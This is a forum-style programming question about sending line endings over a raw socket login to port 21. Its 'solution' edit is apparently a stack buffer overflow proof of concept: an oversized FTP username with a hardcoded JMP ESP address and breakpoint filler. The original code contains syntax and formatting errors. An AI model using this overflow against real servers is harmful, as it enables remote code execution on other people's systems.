title: Python simulate enter key
body: <p>I wrote a simple Python script, which should connect to Telnet server, using a username and password.</p>
  
  <p>The script is following:</p>
  
  <pre><code>#!/usr/bin/python
  
  import sys
  import socket
  
  hostname = sys.argv[1]
  password = "whatever"
  username = "whatever"
  
  
  connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
  try:
  
      connect.connect((hostname, 21))
  
  
  except:
          print "[-] connection error"
  response = connect.recv(2000)
  print response
  sys.exit(1)
  
  
  connect.send("user %s\%r\%n" %username)
  response = connect.recv(2000)
  print response
  
  
  
  connect.send("pass %\%r\%n" %password)
  response = connect.recv(2000)
  print response
  
  
  
  connect.close()
  </code></pre>
  
  <p>The Error is: </p>
  
  <p>The connection is working but i can't simulate the enter key with: </p>
  
  <pre><code>connect.send("user %s\%r\%n" %username)
  response = connect.recv(2000)
  print response
  
  
  
  connect.send("pass %\%r\%n" %password)
  response = connect.recv(2000)
  print response
  </code></pre>
  
  <p>So why it doesn't work?
  Thanks :)</p>
  
  <p>EDIT SOLUTION:</p>
  
  <pre><code>#!/usr/bin/python
  
  import sys
  import socket
  
  
  
  
  hostname = sys.argv[1]
  password = "whatever"
  
  
  jmpesp= "\xED\x1E\x94\x7C"
  
  username = "A"*485 + jmpesp + "\xcc"*(1024 - 485 - 4)
  
  
  connect = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  
  try:
  
      connect.connect((hostname, 21))
  
  
  except:
  
  
      print "[-] Verbindungs Fehler"
      response = connect.recv(2000)
      print response
      sys.exit(1)
  
  
  connect.send("user %s\r\n" %username)
  response = connect.recv(2000)
  print response
  
  connect.send("user %s\r\n" %password)
  response = connect.recv(2000)
  print response
  
  
  
  
  
  
  
  
  connect.close()
  </code></pre>